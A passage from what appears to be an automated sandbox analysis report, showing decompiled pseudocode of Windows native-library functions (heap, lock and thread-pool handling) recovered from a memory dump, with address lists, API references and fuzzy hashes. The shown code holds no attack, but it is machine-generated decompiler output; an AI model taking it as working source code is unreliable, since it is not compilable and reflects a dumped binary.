							 *_t135 = _t135;
							E6CE2F194(_t181, _t183 - 0x58, 0);
							_t181 =  *((intOrPtr*)(_t183 - 0x20));
							 *((intOrPtr*)(_t181 + 0xf0)) =  *((intOrPtr*)(_t183 + 4));
							_t73 = _t181 + 0x40; // 0x40
							_t178 = E6CE3196E(_t73, _t181);
							 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
							if(_t178 < 0) {
								goto L23;
							}
							_t178 = 0;
							 *((intOrPtr*)(_t183 - 0x1c)) = 0;
							E6CE22280(_t130, 0x6cef86b4);
							 *((intOrPtr*)(_t183 - 4)) = 2;
							_t77 = _t181 + 0xe8; // 0xe8
							_t139 = _t77;
							_t176 =  *0x6cef53dc; // 0x6cef53d8
							if( *_t176 != 0x6cef53d8) {
								_push(3);
								asm("int 0x29");
								goto L32;
							}
							 *_t139 = 0x6cef53d8;
							 *((intOrPtr*)(_t139 + 4)) = _t176;
							 *_t176 = _t139;
							 *0x6cef53dc = _t139;
							 *((intOrPtr*)(_t183 - 4)) = 1;
							_t130 = E6CE33B3D();
							goto L23;
						}
					}
				}
			}

0x6ce337eb
0x6ce337ed
0x6ce337f2
0x6ce337f7
0x6ce337fa
0x6ce33803
0x6ce33806
0x6ce3380b
0x6ce3380e
0x6ce33817
0x6ce3381e
0x6ce7615c
0x6ce33b0c
0x6ce33b13
0x6ce33b13
0x6ce33827
0x6ce3382a
0x6ce3382d
0x6ce33836
0x6ce3383e
0x6ce76168
0x6ce7616e
0x6ce7616e
0x6ce76168
0x6ce33865
0x6ce33867
0x6ce3386a
0x6ce3386d
0x6ce33876
0x6ce76176
0x6ce76176
0x6ce7617b
0x00000000
0x6ce3387c
0x6ce33882
0x6ce33888
0x6ce338a2
0x6ce338a4
0x6ce338a9
0x6ce76183
0x6ce76188
0x6ce7618b
0x6ce33ad9
0x6ce33ad9
0x6ce33ae0
0x6ce33ae7
0x6ce33aee
0x00000000
0x00000000
0x6ce33af3
0x6ce33afc
0x6ce76288
0x6ce7628d
0x6ce76290
0x6ce33b02
0x6ce33b02
0x6ce33b02
0x6ce33b0a
0x6ce33b71
0x6ce33b73
0x6ce33b73
0x00000000
0x6ce33b0a
0x6ce338af
0x6ce338b1
0x6ce338b4
0x6ce338b7
0x6ce338bd
0x6ce338cd
0x6ce338d1
0x6ce338d2
0x6ce338d2
0x6ce338d7
0x6ce338d9
0x6ce338d9
0x6ce338e1
0x00000000
0x00000000
0x6ce338e6
0x6ce338e9
0x6ce338ec
0x6ce338ef
0x6ce338f1
0x6ce338f1
0x6ce338fa
0x6ce33900
0x6ce33916
0x6ce3391b
0x6ce3391e
0x6ce33923
0x00000000
0x00000000
0x6ce3392f
0x6ce33935
0x6ce3394d
0x6ce33952
0x6ce33955
0x6ce3395a
0x00000000
0x00000000
0x6ce33960
0x6ce33965
0x6ce33968
0x6ce3396b
0x6ce33978
0x6ce3397a
0x6ce3397f
0x00000000
0x00000000
0x6ce33985
0x6ce3398f
0x6ce33992
0x6ce33995
0x6ce33998
0x6ce3399b
0x6ce3399e
0x6ce339a1
0x6ce339a4
0x6ce339ad
0x6ce76195
0x6ce339b3
0x6ce339b3
0x6ce339b3
0x6ce339b4
0x6ce339b7
0x6ce339ba
0x6ce339bb
0x6ce339bc
0x6ce339c7
0x6ce339c9
0x6ce339ce
0x00000000
0x6ce339d4
0x6ce339d7
0x6ce339da
0x6ce339e2
0x6ce339ec
0x6ce339ee
0x6ce339ee
0x6ce339f0
0x6ce339f3
0x6ce339f6
0x6ce339f9
0x6ce339fa
0x6ce339fb
0x6ce33a00
0x6ce33a02
0x6ce33a05
0x6ce33a06
0x6ce33a11
0x6ce33a13
0x6ce33a18
0x6ce33aca
0x6ce33aca
0x6ce33acd
0x6ce33ad4
0x00000000
0x6ce33a1e
0x6ce33a22
0x6ce33b14
0x6ce33b19
0x6ce33b1a
0x6ce33b1c
0x6ce33b24
0x6ce33b26
0x6ce33b2b
0x00000000
0x00000000
0x6ce33b31
0x6ce33b31
0x6ce33a28
0x6ce33a2b
0x6ce33a31
0x6ce33a37
0x6ce33a3e
0x6ce33a3e
0x6ce33a41
0x6ce33a44
0x6ce33a46
0x6ce33a46
0x6ce33a49
0x6ce33a4c
0x6ce33a4e
0x6ce33a4e
0x6ce33a54
0x6ce33a57
0x6ce33a5f
0x6ce33a67
0x6ce33a6a
0x6ce33a70
0x6ce33a7a
0x6ce33a7c
0x6ce33a81
0x00000000
0x00000000
0x6ce33a83
0x6ce33a85
0x6ce33a8d
0x6ce33a92
0x6ce33a99
0x6ce33a99
0x6ce33a9f
0x6ce33aac
0x6ce33b6c
0x6ce33b6f
0x00000000
0x6ce33b6f
0x6ce33ab2
0x6ce33ab4
0x6ce33ab7
0x6ce33ab9
0x6ce33abe
0x6ce33ac5
0x00000000
0x6ce33ac5
0x6ce33a18
0x6ce339ce

APIs

RtlImageNtHeader.1105(?,6CEDFF48,00000050,6CE33E98,?,6CE2F900,00000000,00000000,?,?,?,6CEDFEB8,0000001C,6CE02C4C,?), ref: 6CE33817

Part of subcall function 6CE1B060: RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,?,?,6CE3381C,?,6CEDFF48,00000050,6CE33E98,?,6CE2F900,00000000,00000000), ref: 6CE1B076

RtlAllocateHeap.1105(?,?,00000120,?,6CEDFF48,00000050,6CE33E98,?,6CE2F900,00000000,00000000,?,?,?,6CEDFEB8,0000001C), ref: 6CE33860
RtlAllocateHeap.1105(?,?,00000000,?,?,00000120,?,6CEDFF48,00000050,6CE33E98,?,6CE2F900,00000000,00000000), ref: 6CE3389D
RtlAllocateHeap.1105(?,?,?,?,?,00000000,?,?,00000120,?,6CEDFF48,00000050,6CE33E98,?,6CE2F900,00000000), ref: 6CE33916
RtlAllocateHeap.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6CEDFF48,00000050,6CE33E98), ref: 6CE3394D
ZwCreateIoCompletion.1105(00000028,001F0003,00000000,?), ref: 6CE339C2
ZwCreateWorkerFactory.1105(00000024,000F00FF,00000000,?,000000FF,6CE2C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6CE33A0C
RtlAcquireSRWLockExclusive.1105(6CEF86B4,00000000,00000024,000F00FF,00000000,?,000000FF,6CE2C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6CE33A8D
RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6CEDFF48,00000050,6CE33E98), ref: 6CE33AF5
ZwSetInformationWorkerFactory.1105(?,0000000D,00000000,00000004,00000024,000F00FF,00000000,?,000000FF,6CE2C740,00000000,7FFE03C0,?,?,00000028,001F0003), ref: 6CE33B1F

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CreateFactoryHeaderImageWorker$AcquireCompletionCurrentExclusiveInformationLockServiceSession
String ID:
API String ID: 358453882-0
Opcode ID: a00ba97d4bf9257509118322b2f49782aed4fb11787f6ef38dc7ad1111ae159e
Instruction ID: 513cfac2b97e0b8d010f6e0f21c2bea0eaec34664fa27874665befea8c7df8d2
Opcode Fuzzy Hash: a00ba97d4bf9257509118322b2f49782aed4fb11787f6ef38dc7ad1111ae159e
Instruction Fuzzy Hash: CDB136B1901618DFCB25CF99C940B9EBBF5FB49318F25816EE41AABB50D734A902CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2F86D, Relevance: 15.1, APIs: 10, Instructions: 124
threadmemoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6CE2F86D(void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t31;
				signed int _t40;
				signed int _t45;
				signed int _t46;
				signed int _t48;
				signed int _t50;
				signed int _t53;
				intOrPtr _t60;
				signed int* _t66;
				signed int _t67;
				signed int* _t70;
				void* _t71;

				_t64 = __edx;
				_t61 = __ecx;
				_push(0x1c);
				_push(0x6cedfeb8);
				E6CE5D08C(__ebx, __edi, __esi);
				_t60 = __edx;
				 *((intOrPtr*)(_t71 - 0x28)) = __edx;
				_t70 = __ecx;
				 *((intOrPtr*)(_t71 - 0x2c)) = __ecx;
				_t66 =  *(_t71 + 8);
				if(_t66 == 0 || __ecx == 0 || __edx == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					E6CED88F5(_t60, _t61, _t64, _t66, _t70, __eflags);
					_t31 = 0xc000000d;
					goto L9;
				} else {
					if( *__ecx == 0) {
						L10:
						 *(_t71 - 0x20) =  *(_t71 - 0x20) & 0x00000000;
						_t67 = E6CE33E70(_t71 - 0x20, 0);
						 *(_t71 - 0x24) = _t67;
						__eflags = _t67;
						if(_t67 < 0) {
							L24:
							_t31 = _t67;
							L9:
							return E6CE5D0D1(_t31);
						}
						E6CE22280(_t36, _t60);
						 *(_t71 - 4) = 1;
						__eflags =  *_t70;
						if( *_t70 != 0) {
							asm("lock inc dword [eax]");
							L21:
							 *(_t71 - 4) = 0xfffffffe;
							E6CE2F9DD(_t60);
							_t40 =  *(_t71 - 0x20);
							__eflags = _t40;
							if(__eflags != 0) {
								_push(_t40);
								E6CE09100(_t60, _t61, _t67, _t70, __eflags);
							}
							__eflags = _t67;
							if(_t67 >= 0) {
								 *( *(_t71 + 8)) =  *_t70;
							}
							goto L24;
						}
						__eflags = _t70 - 0x6cef86c0;
						if(_t70 != 0x6cef86c0) {
							__eflags = _t70 - 0x6cef86b8;
							if(_t70 != 0x6cef86b8) {
								L20:
								 *_t70 =  *(_t71 - 0x20);
								_t20 = _t71 - 0x20;
								 *_t20 =  *(_t71 - 0x20) & 0x00000000;
								__eflags =  *_t20;
								goto L21;
							}
							E6CE35AA0(_t61,  *(_t71 - 0x20), 1);
							_t45 = E6CE095F0( *(_t71 - 0x20), 1);
							L27:
							_t67 = _t45;
							__eflags = _t67;
							 *(_t71 - 0x24) = _t67;
							if(_t67 >= 0) {
								goto L20;
							}
							goto L21;
						}
						_t46 =  *0x6cef8754;
						__eflags = _t46;
						if(_t46 != 0) {
							E6CE35AA0(_t61,  *(_t71 - 0x20), _t46);
						} else {
							_t50 =  *0x7ffe03c0 << 3;
							__eflags = _t50 - 0x300;
							if(_t50 < 0x300) {
								_t50 = 0x300;
							}
							E6CE35AA0(0x300,  *(_t71 - 0x20), _t50);
							_t53 =  *0x7ffe03c0 << 2;
							_t61 = 0x180;
							__eflags = _t53 - 0x180;
							if(_t53 < 0x180) {
								_t53 = 0x180;
							}
							E6CE45C70( *(_t71 - 0x20), _t53);
						}
						_t48 =  *0x6cef8750;
						__eflags = _t48;
						if(_t48 != 0) {
							_t45 = E6CE0B8F0( *(_t71 - 0x20), _t48);
							goto L27;
						} else {
							goto L20;
						}
					}
					 *((char*)(_t71 - 0x19)) = 0;
					E6CE2FAD0(__edx);
					 *(_t71 - 4) =  *(_t71 - 4) & 0x00000000;
					if( *_t70 != 0) {
						asm("lock inc dword [eax]");
						 *_t66 =  *_t70;
						 *((char*)(_t71 - 0x19)) = 1;
					}
					 *(_t71 - 4) = 0xfffffffe;
					E6CE2F9D6(_t60);
					if( *((char*)(_t71 - 0x19)) == 0) {
						goto L10;
					} else {
						_t31 = 0;
						goto L9;
					}
				}
			}

0x6ce2f86d
0x6ce2f86d
0x6ce2f86d
0x6ce2f86f
0x6ce2f874
0x6ce2f879
0x6ce2f87b
0x6ce2f87e
0x6ce2f880
0x6ce2f883
0x6ce2f888
0x6ce747c9
0x6ce747ce
0x00000000
0x6ce2f8b1
0x6ce2f8b4
0x6ce2f8f1
0x6ce2f8f1
0x6ce2f900
0x6ce2f902
0x6ce2f905
0x6ce2f907
0x6ce2f9a9
0x6ce2f9a9
0x6ce2f8e9
0x6ce2f8ee
0x6ce2f8ee
0x6ce2f90e
0x6ce2f913
0x6ce2f91c
0x6ce2f91e
0x6ce2f9e4
0x6ce2f98b
0x6ce2f98b
0x6ce2f992
0x6ce2f997
0x6ce2f99a
0x6ce2f99c
0x6ce2f9e9
0x6ce2f9ea
0x6ce2f9ea
0x6ce2f99e
0x6ce2f9a0
0x6ce2f9a7
0x6ce2f9a7
0x00000000
0x6ce2f9a0
0x6ce2f924
0x6ce2f92a
0x6ce2f9b0
0x6ce2f9b6
0x6ce2f982
0x6ce2f985
0x6ce2f987
0x6ce2f987
0x6ce2f987
0x00000000
0x6ce2f987
0x6ce2f9be
0x6ce2f9c6
0x6ce2f9cb
0x6ce2f9cb
0x6ce2f9cd
0x6ce2f9cf
0x6ce2f9d2
0x00000000
0x00000000
0x00000000
0x6ce2f9d4
0x6ce2f930
0x6ce2f935
0x6ce2f937
0x6ce747a3
0x6ce2f93d
0x6ce2f942
0x6ce2f94a
0x6ce2f94c
0x6ce2f94e
0x6ce2f94e
0x6ce2f954
0x6ce2f95e
0x6ce2f961
0x6ce2f966
0x6ce2f968
0x6ce2f96a
0x6ce2f96a
0x6ce2f970
0x6ce2f970
0x6ce2f975
0x6ce2f97a
0x6ce2f97c
0x6ce747b1
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce2f97c
0x6ce2f8b6
0x6ce2f8bb
0x6ce2f8c0
0x6ce2f8c8
0x6ce2f8ca
0x6ce2f8cf
0x6ce2f8d1
0x6ce2f8d1
0x6ce2f8d5
0x6ce2f8dc
0x6ce2f8e5
0x00000000
0x6ce2f8e7
0x6ce2f8e7
0x00000000
0x6ce2f8e7
0x6ce2f8e5

APIs

RtlAcquireSRWLockShared.1105(?,?,?,?,6CEDFEB8,0000001C,6CE02C4C,?), ref: 6CE2F8BB
TpAllocPool.1105(00000000,00000000,?,?,?,6CEDFEB8,0000001C,6CE02C4C,?), ref: 6CE2F8FB
RtlAcquireSRWLockExclusive.1105(?,00000000,00000000,?,?,?,6CEDFEB8,0000001C,6CE02C4C,?), ref: 6CE2F90E
TpSetPoolMaxThreads.1105(00000000,7FFE03C0,?,00000000,00000000,?,?,?,6CEDFEB8,0000001C,6CE02C4C,?), ref: 6CE2F954
TpSetPoolMaxThreadsSoftLimit.1105(00000000,7FFE03C0,00000000,7FFE03C0,?,00000000,00000000,?,?,?,6CEDFEB8,0000001C,6CE02C4C,?), ref: 6CE2F970
TpSetPoolMaxThreads.1105(00000000,00000001,?,00000000,00000000,?,?,?,6CEDFEB8,0000001C,6CE02C4C,?), ref: 6CE2F9BE
TpSetPoolMinThreads.1105(00000000,00000001,00000000,00000001,?,00000000,00000000,?,?,?,6CEDFEB8,0000001C,6CE02C4C,?), ref: 6CE2F9C6

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Pool$Threads$AcquireLock$AllocExclusiveLimitSharedSoft
String ID:
API String ID: 4196657934-0
Opcode ID: da20ce10b262f9742ea68c31055e208412c72e422d0ac9ffe1388b1c138e16a9
Instruction ID: 5ad9601917469c961e8ce05d34affe03cc27b3b37b1daab469a78b5fe880150e
Opcode Fuzzy Hash: da20ce10b262f9742ea68c31055e208412c72e422d0ac9ffe1388b1c138e16a9
Instruction Fuzzy Hash: 7641BD71A01225AFEB218FA9C840BDEB2B5BF4A71CF34121AE450E7B50D77C9845DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE05210, Relevance: 15.1, APIs: 10, Instructions: 107
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6CE05210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				void* _t35;
				int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E6CE052A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *(_t31 + 0x28);
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *(_t61 + 0x10);
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E6CE495D0();
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t61);
						}
					} else {
						E6CE1EB70(_t54, 0x6cef79a0);
					}
					return _t52 + 2;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E6CE495D0();
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t61);
							}
						} else {
							E6CE1EB70(_t54, 0x6cef79a0);
						}
						return _t52;
					}
					L5:
					_t33 = memcpy(_a8, _t54, _t52);
					if(_t61 == 0) {
						E6CE1EB70(_t54, 0x6cef79a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E6CE495D0();
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t35 + _t52)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x6ce05220
0x6ce05224
0x6ce60d13
0x6ce60d16
0x6ce60d19
0x6ce0522a
0x6ce0522a
0x6ce0522d
0x6ce0522d
0x6ce05231
0x6ce05235
0x6ce05239
0x6ce60d5c
0x6ce60d62
0x00000000
0x00000000
0x6ce60d6a
0x6ce60d7b
0x6ce60d7f
0x6ce60d81
0x6ce60d84
0x6ce60d95
0x6ce60d95
0x6ce60d6c
0x6ce60d71
0x6ce60d71
0x00000000
0x6ce0524a
0x6ce0524a
0x6ce05250
0x6ce60d24
0x6ce60d35
0x6ce60d39
0x6ce60d3b
0x6ce60d3e
0x6ce60d50
0x6ce60d50
0x6ce60d26
0x6ce60d2b
0x6ce60d2b
0x00000000
0x6ce60d55
0x6ce05256
0x6ce0525b
0x6ce05265
0x6ce60da7
0x6ce0526b
0x6ce0526e
0x6ce05272
0x6ce60db1
0x6ce60db4
0x6ce60dc5
0x6ce60dc5
0x6ce05272
0x6ce05278
0x6ce0527e
0x6ce0528a
0x6ce0528c
0x6ce0528d
0x00000000
0x6ce05280
0x6ce05282
0x6ce05288
0x6ce0529f
0x6ce05292
0x00000000
0x6ce05292
0x00000000
0x6ce05288
0x6ce0527e

APIs

Part of subcall function 6CE052A5: RtlEnterCriticalSection.1105(6CEF79A0,?,?,00000000,?,?,?,6CE051B4,?,?,?), ref: 6CE052BF
Part of subcall function 6CE052A5: RtlLeaveCriticalSection.1105(6CEF79A0,6CEF79A0,?,?,00000000,?,?,?,6CE051B4,?,?,?), ref: 6CE052DD

memcpy.1105(?,?), ref: 6CE0525B
RtlLeaveCriticalSection.1105(6CEF79A0), ref: 6CE60D2B
RtlLeaveCriticalSection.1105(6CEF79A0), ref: 6CE60D71
ZwClose.1105(?), ref: 6CE60D84
RtlFreeHeap.1105(?,00000000,00000000,?), ref: 6CE60D95
RtlLeaveCriticalSection.1105(6CEF79A0), ref: 6CE60DA7
ZwClose.1105(?), ref: 6CE60DB4
RtlFreeHeap.1105(?,00000000,00000000,?), ref: 6CE60DC5

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$CloseFreeHeap$Entermemcpy
String ID:
API String ID: 3163955863-0
Opcode ID: d645ea7d3cb99110f6619e2e58ff32bc15eb27515c80f1f4d53f8a826e349685
Instruction ID: 7e523f431e1a61c770c88bdfccb706b1435a814cb82bdbfeeba57e881591690f
Opcode Fuzzy Hash: d645ea7d3cb99110f6619e2e58ff32bc15eb27515c80f1f4d53f8a826e349685
Instruction Fuzzy Hash: DB312631692A50EBC7228B19C880F9677B5FF11728F318B1DE4550BFA0DB30E911C6D9

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB3D40, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 98
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E6CEB3D40(intOrPtr __ecx, void** __edx) {
				signed int _v8;
				void** _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _v24;
				void* _v28;
				char _v29;
				intOrPtr* _v32;
				char _v36;
				char _v37;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t34;
				void* _t37;
				intOrPtr* _t42;
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;
				char _t51;
				void* _t52;
				intOrPtr* _t53;
				void** _t55;
				void _t59;
				char* _t61;
				intOrPtr* _t64;
				void* _t65;
				void** _t67;
				void* _t68;
				signed int _t70;

				_t62 = __edx;
				_t72 = (_t70 & 0xfffffff8) - 0x1c;
				_v8 =  *0x6cefd360 ^ (_t70 & 0xfffffff8) - 0x0000001c;
				_t34 =  &_v28;
				_v20 = __ecx;
				_t67 = __edx;
				_v24 = _t34;
				_t51 = 0;
				_v12 = __edx;
				_v29 = 0;
				_v28 = _t34;
				E6CE22280(_t34, 0x6cef8a6c);
				_t64 =  *0x6cef5768; // 0x6cef5768
				if(_t64 != 0x6cef5768) {
					while(1) {
						_t8 = _t64 + 8; // 0x6cef5770
						_t42 = _t8;
						_t53 = _t64;
						 *_t42 =  *_t42 + 1;
						_v16 = _t42;
						E6CE1FFB0(_t53, _t64, 0x6cef8a6c);
						_t10 = _t64 + 0xc; // 0x6cdfe2b8
						 *0x6cefb1e0(_v24, _t67);
						if( *((intOrPtr*)( *_t10))() != 0) {
							_v37 = 1;
						}
						E6CE22280(_t45, 0x6cef8a6c);
						_t47 = _v28;
						_t64 =  *_t64;
						 *_t47 =  *_t47 - 1;
						if( *_t47 != 0) {
							goto L8;
						}
						if( *((intOrPtr*)(_t64 + 4)) != _t53) {
							L10:
							_push(3);
							asm("int 0x29");
						} else {
							_t15 = _t53 + 4; // 0x6cef5768
							_t48 =  *_t15;
							if( *_t48 != _t53) {
								goto L10;
							} else {
								 *_t48 = _t64;
								_t61 =  &_v36;
								 *((intOrPtr*)(_t64 + 4)) = _t48;
								_t49 = _v32;
								if( *_t49 != _t61) {
									goto L10;
								} else {
									 *_t53 = _t61;
									 *((intOrPtr*)(_t53 + 4)) = _t49;
									 *_t49 = _t53;
									_v32 = _t53;
									goto L8;
								}
							}
						}
						L11:
						_t51 = _v29;
						goto L12;
						L8:
						if(_t64 != 0x6cef5768) {
							_t67 = _v20;
							continue;
						}
						goto L11;
					}
				}
				L12:
				E6CE1FFB0(_t51, _t64, 0x6cef8a6c);
				while(1) {
					_t37 = _v28;
					_t55 =  &_v28;
					if(_t37 == _t55) {
						break;
					}
					if( *((intOrPtr*)(_t37 + 4)) != _t55) {
						goto L10;
					} else {
						_t59 =  *_t37;
						if( *((intOrPtr*)(_t59 + 4)) != _t37) {
							goto L10;
						} else {
							_t62 =  &_v28;
							_v28 = _t59;
							 *((intOrPtr*)(_t59 + 4)) =  &_v28;
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t37);
							continue;
						}
					}
					L18:
				}
				_pop(_t65);
				_pop(_t68);
				_pop(_t52);
				return E6CE4B640(_t51, _t52, _v8 ^ _t72, _t62, _t65, _t68);
				goto L18;
			}

0x6ceb3d40
0x6ceb3d48
0x6ceb3d52
0x6ceb3d59
0x6ceb3d5d
0x6ceb3d61
0x6ceb3d63
0x6ceb3d67
0x6ceb3d69
0x6ceb3d72
0x6ceb3d76
0x6ceb3d7a
0x6ceb3d7f
0x6ceb3d8b
0x6ceb3d91
0x6ceb3d91
0x6ceb3d91
0x6ceb3d94
0x6ceb3d96
0x6ceb3d9d
0x6ceb3da1
0x6ceb3da7
0x6ceb3db0
0x6ceb3dba
0x6ceb3dbc
0x6ceb3dbc
0x6ceb3dc6
0x6ceb3dcb
0x6ceb3dcf
0x6ceb3dd1
0x6ceb3dd4
0x00000000
0x00000000
0x6ceb3dd9
0x6ceb3e0c
0x6ceb3e0c
0x6ceb3e0f
0x6ceb3ddb
0x6ceb3ddb
0x6ceb3ddb
0x6ceb3de0
0x00000000
0x6ceb3de2
0x6ceb3de2
0x6ceb3de4
0x6ceb3de8
0x6ceb3deb
0x6ceb3df1
0x00000000
0x6ceb3df3
0x6ceb3df3
0x6ceb3df5
0x6ceb3df8
0x6ceb3dfa
0x00000000
0x6ceb3dfa
0x6ceb3df1
0x6ceb3de0
0x6ceb3e11
0x6ceb3e11
0x00000000
0x6ceb3dfe
0x6ceb3e04
0x6ceb3e06
0x00000000
0x6ceb3e06
0x00000000
0x6ceb3e04
0x6ceb3d91
0x6ceb3e15
0x6ceb3e1a
0x6ceb3e1f
0x6ceb3e1f
0x6ceb3e23
0x6ceb3e29
0x00000000
0x00000000
0x6ceb3e2e
0x00000000
0x6ceb3e30
0x6ceb3e30
0x6ceb3e35
0x00000000
0x6ceb3e37
0x6ceb3e3e
0x6ceb3e42
0x6ceb3e48
0x6ceb3e4e
0x00000000
0x6ceb3e4e
0x6ceb3e35
0x00000000
0x6ceb3e2e
0x6ceb3e5b
0x6ceb3e5c
0x6ceb3e5d
0x6ceb3e68
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6CEF8A6C,?,00000000,00000000,?,?,?,?,?,?,6CEB3CAA,00000000,00008000,?), ref: 6CEB3D7A
RtlReleaseSRWLockExclusive.1105(6CEF8A6C,6CEF8A6C,?,00000000,00000000,?,?,?,?,?,?,6CEB3CAA,00000000,00008000,?), ref: 6CEB3DA1
RtlDebugPrintTimes.1105(?,?,6CEF8A6C,6CEF8A6C,?,00000000,00000000,?,?,?,?,?,?,6CEB3CAA,00000000,00008000), ref: 6CEB3DB0
RtlAcquireSRWLockExclusive.1105(6CEF8A6C,?,?,?,?,?,?,6CEB3CAA,00000000,00008000,?), ref: 6CEB3DC6
RtlReleaseSRWLockExclusive.1105(6CEF8A6C,6CEF8A6C,?,00000000,00000000,?,?,?,?,?,?,6CEB3CAA,00000000,00008000,?), ref: 6CEB3E1A
RtlFreeHeap.1105(?,00000000,6CEF8A6C,6CEF8A6C,6CEF8A6C,6CEF8A6C,?,00000000,00000000,?,?,?,?,?,?,6CEB3CAA), ref: 6CEB3E4E

Strings

hWl, xrefs: 6CEB3D85
hWl, xrefs: 6CEB3DFE

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$DebugFreeHeapPrintTimes
String ID: hWl$hWl
API String ID: 1017367878-3861872511
Opcode ID: c10fb65f7901bc482128ac27dfa12ace85affcfac702cf95e3279b9b153521aa
Instruction ID: 136acbc33b473f0e771b3c9eebf5e270f5bad76f00c8f830adfc9481da78ee20
Opcode Fuzzy Hash: c10fb65f7901bc482128ac27dfa12ace85affcfac702cf95e3279b9b153521aa
Instruction Fuzzy Hash: 6C314A71509302DFC700CF15D68255ABBF1FB86318F25896EF598ABB51DB30D909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CE34D3B, Relevance: 13.6, APIs: 9, Instructions: 131
nativeCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6CE34D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				void _v176;
				char _v177;
				long _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t42;
				void* _t44;
				long _t46;
				intOrPtr _t50;
				long _t56;
				void* _t57;
				int _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x6cefd360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
